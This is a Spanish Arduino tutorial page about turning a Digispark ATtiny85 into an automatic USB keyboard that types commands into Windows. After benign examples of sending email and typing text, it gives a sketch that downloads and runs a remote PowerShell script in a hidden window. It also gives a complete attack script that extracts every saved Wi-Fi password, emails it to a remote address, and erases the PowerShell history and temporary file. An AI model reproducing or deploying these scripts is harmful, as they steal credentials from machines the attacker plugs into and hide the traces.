|     Inicio    |   |         |  |   FOROS      |  |      |      
   Elastix - VoIP B4A (Basic4Android) App inventor 2 PHP - MySQL
  Estación meteorológica B4J (Basic4Java) ADB Shell - Android Arduino
  Raspberry Pi Visual Basic Script (VBS) FireBase (BD autoactualizable) NodeMCU como Arduino
  AutoIt (Programación) Visual Basic Cosas de Windows Webs interesantes
Translate:
Búsqueda en este sitio:


.

Tutorial de Arduino en español.
Juan Antonio Villalpando

Volver al índice del tutorial

____________________________

67B.- Attiny85. Digispark. Teclado. Correo. KeyLogger.

_____________________

- Enviar correo con PowerShell ISE.

- Vamos a ver cómo podemos enviar un correo desde nuestro ordenador mediante los código de PowerShell ISE.

- Escribimos nuestro correo de gmail y la clave. Nuestro correo lo escribimos sin poner @gmail.com

- Luego escribimos el correo del destinatario (para hacer pruebas podemos volver a poner nuestro correo para autoenviarnos el mensaje.)

- También podemos adjuntar un archivo, en mi caso he adjuntado un archivo de tipo HTML, que se encuentra en C:\Downloads\index.htm

Correo_PowerShell.ps1

        $filename = “D:\Downloads\index.htm”
        $smtpserver = “smtp.gmail.com”
        $msg = new-object Net.Mail.MailMessage
        $att = new-object Net.Mail.Attachment($filename)
        $smtp = new-object Net.Mail.SmtpClient($smtpServer )
        $smtp.EnableSsl = $True
        $smtp.Credentials = New-Object System.Net.NetworkCredential(“juan”, “mi_clave”); # Put username without the @GMAIL.com or – @gmail.com
        $msg.From = “juan@gmail.com”
        $msg.To.Add(”correo_a_enviar@gmail.com”)
        $msg.Subject = “Monthly Report”
        $msg.Body = “Good Morning, Last month’s LOGINS & GROUPCALLS FOR ALL GIDS IN SYSTEM IS ATTACHED”
        $msg.Attachments.Add($att)
        $smtp.Send($msg) 
			

- En Windows, ejecutamos PowerShell ISE.

- Recibiremos el correo que nos hemos enviado.

____________________________
- Teclado automático.

- El Tiny85 se puede comportar como un teclado.

- Para eso utiliza la librería DigiKeyboard.h

- Carga este programa en el Attiny85:

Teclado_automatico.ino

// Juan A. Villalpando
// kio4.com

#include "DigiKeyboard.h"
void setup() {
  //empty
}
void loop() {
  DigiKeyboard.delay(1000);

  DigiKeyboard.print("Hola amigos.");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("Esta es la web de kio4.com.");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("Si te gusta, colabora.");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}
			

- Abre el Bloc de notas.

- Conecta el Tiny85 estando el Bloc de notas abierto.

- Se escribirá el texto automáticamente.

_______________________________________________
- Correo. PowerShell. Teclado automático.

- Podemos crear un script automáticamente mediante el teclado automático y ejecutar ese script con el PowerShell. El script sería un envío de correo.

- Cuando cargemos el código en el Attiny85 y lo ejecutemos observaremos en el Administrador de dispositivo al Attiny85 actuando como un Dispositivo de teclado HID

- Puedes intentar el siguiente proceso, aunque tendrás que depurarlo un poco.

- Subimos un archivo como el siguiente a nuestro hosting, para más adelante poder bajarlo. Subimos correo.ps1 a nuestro hosting.

- Ese archivo contiene nuestra cuenta de correo con nuestra clave, además de otras informaciones.

- En este caso también tenemos en nuestro ordenador el archivo D:\Downloads\index.htm, es simplemente un archivo de prueba, solo para ver cómo se adjunta un archivo enel corro.

- Si ejecutáramos este archivo en nuestro ordenador, se enviaría un correo como hemos visto en un apartado anterior.

correo.ps1

        $filename = “D:\Downloads\index.htm”
        $smtpserver = “smtp.gmail.com”
        $msg = new-object Net.Mail.MailMessage
        $att = new-object Net.Mail.Attachment($filename)
        $smtp = new-object Net.Mail.SmtpClient($smtpServer )
        $smtp.EnableSsl = $True
        $smtp.Credentials = New-Object System.Net.NetworkCredential(“juan”, “mi_clave”); # Put username without the @GMAIL.com or – @gmail.com
        $msg.From = “juan@gmail.com”
        $msg.To.Add(”correo_a_enviar@gmail.com”)
        $msg.Subject = “Monthly Report”
        $msg.Body = “Good Morning, Last month’s LOGINS & GROUPCALLS FOR ALL GIDS IN SYSTEM IS ATTACHED”
        $msg.Attachments.Add($att)
        $smtp.Send($msg) 
			

- Como acabo de comentar este archivo debe estar en nuestro hosting.

- El Sketch que vamos a realizar a continuación, bajará ese archivo de nuestro hosting y lo ejecutará.

- Este Sketch, abre mediante la tecla "Windows" el Botón de inicio de Windows, esto lo hace mediante la orden: DigiKeyboard.sendKeyStroke (0,128)

- Una vez abierto, escribe en el casillero, "powershell" para ejecutar esa utilidad.

- Además va realizando las órdenes, que consisten en bajar el archivo correo.ps1 a nuestro ordenador, concretamente a C:\Users\nombre\correo.ps1

- Y luego ejecutar ese correo.ps1

- El código es una adaptación de: https://github.com/CedArctic/DigiSpark-Scripts/blob/master/Execute_Powershell_Script/Execute_Powershell_Script.ino

Bajar_y_ejecutar.ino

#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke (0);
  DigiKeyboard.delay (2000);
  DigiKeyboard.sendKeyStroke(KEY_R); // Escribe la letra r, como prueba de que ha empezado
  // DigiKeyboard.sendKeyStroke(MOD_GUI_LEFT); // Para Windows 10
  DigiKeyboard.sendKeyStroke (0,128); // Para Windows 7, arranca el Botón de inicio de Windows
  DigiKeyboard.print("powershell"); // Ejecuta el powershell desde el Botón de inicio.
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.print("$client = new-object System.Net.WebClient");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("$client.DownloadFile(\"http://kio4.com\", \"correo.ps1\")");
  DigiKeyboard.delay(1000); // Baja ese archivo de internet a C:\Users\minombre\correo.ps1
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  //DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); // Para Windows 10
  DigiKeyboard.sendKeyStroke (0,128 | KEY_R); // Para Windows 7
  DigiKeyboard.delay(750);
  //If the system hasn't been configured to run scripts, uncomment the lines bellow
    /*
  DigiKeyboard.print("powershell Start-Process cmd -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(750);
  DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y);
  DigiKeyboard.delay(750);
  DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  */
  DigiKeyboard.delay(750);
  // DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1");
  DigiKeyboard.print("powershell.exe -windowstyle hidden -File c:\\users\\juan\\correo.ps1");
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for (;;) {
    /*empty*/
  }

}
			

- Se basa en la librería DigiKeyboard.h

https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h

- Mediante esta librería podemos hacer que Attiny85 actúe como teclado y pulse automáticamente ciertas teclas.

- Estas teclas se refieren al pulsado de las teclas: Control, Alt, Mayúscula (Shift) y tecla de Window (Win).

- Mediante esta teclas podemos crear atajos para abrir distintas ventanas de Windows.

 
# define MOD_CONTROL_LEFT
# define MOD_SHIFT_LEFT
# define MOD_ALT_LEFT
# define MOD_GUI_LEFT
# define MOD_CONTROL_RIGHT
# define MOD_SHIFT_RIGHT
# define MOD_ALT_RIGHT
# define MOD_GUI_RIGHT

- En vez de utilizar esas definiciones, podemos utilizar su número de tecla, por ejemplo en Windows 7 no funciona MOD_GUI_LEFT para realizar el atajo de la tecla Win y abrir el "Botón de inicio", en este caso he utilizado en el código:

// DigiKeyboard.sendKeyStroke(MOD_GUI_LEFT); // Para Windows 10
DigiKeyboard.sendKeyStroke (0,128); // Para Windows 7, arranca el Botón de inicio de Windows

- El código se basa en abrir la tecla de Window, escribir "powershell" para que se abra el Power Shell de Windows y escribir y ejecutar órdenes automáticas en el Power Shell, las órdenes "principales" que utiliza este código es bajar el archivo correo.ps1 de Internet y ejecutarlo.

- Al ejecutar el archivo:

DigiKeyboard.print("powershell.exe -windowstyle hidden -File c:\\users\\juan\\correo.ps1");

nos podemos encontrar con el problema de que nuestro Windows está configurado por defecto para no ejecutar Scripts, ya que son peligrosos.

- Podemos cambiar esa característica:

Get-ExecutionPolicy (Indica la política actual de ejecuciones, Restricted)

Set-ExecutionPolicy Unrestricted (Establece la política de restricciones a no-restrigido)

- En el cógido que estamos realizando hay varias líneas para cambiar esta política automáticamente, pero no me ha llegado a funcionar.

____________________________
- Más códigos. Problemas.

- Muchos de estos códigos lo que tratan es de activar el Power Shell de Windows mediante la librería DigiKeyboard.h con sus atajos y pulsaciones de teclas, y ejecutar Scripts.

- Te puedes encontrar con varios problemas, uno de ellos es que la mayoría de los códigos están realizados para Windows 10, si tienes Windows 7 debes adaptar algunos.

- Otro problema, ya mencionado, es que Windows tiene Restringida la ejecución automática de Scripts de Power Point.

- Un tercer problema que te puedes encontrar, es que muchos códigos están realizados para un teclado americano US y se debe establecer el teclado americano para que funcionen, eso se puede realizar en el Panel de control / Cambiar teclados u otros métodos de entradas.

- Aquí tienes más códigos:

https://github.com/CedArctic/DigiSpark-Scripts

____________________________
- Keylogger.

https://www.youtube.com/watch?v=b5E0u4qNH4s

 

Start.ino

//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("COLOR EF");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) 
| Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  
| Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} 
| Export-Csv temp.csv\""));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("COLOR EF");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587);
 $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD');
 $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); 
$ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; 
$ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\""));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("COLOR EF");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\""));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("COLOR EF");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("del temp.csv"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}	

____________________________
- Otros enlaces.

https://tutobasico.com/codigos-ussd/

https://www.hefin.net/noticias/hackeando-android-attiny85/

http://redes-seguridad.blogspot.com/2017/08/shell-reversa-con-bad-usb-casero-bajo.html

_______________________________

- Mi correo:
juana1991@yahoo.com
- KIO4.COM - Política de cookies. Textos e imágenes propiedad del autor:
© Juan A. Villalpando
No se permite la copia de información ni imágenes.
Usamos cookies propias y de terceros que entre otras cosas recogen datos sobre sus hábitos de navegación y realizan análisis de uso de nuestro sitio.
Si continúa navegando consideramos que acepta su uso. Acepto    Más información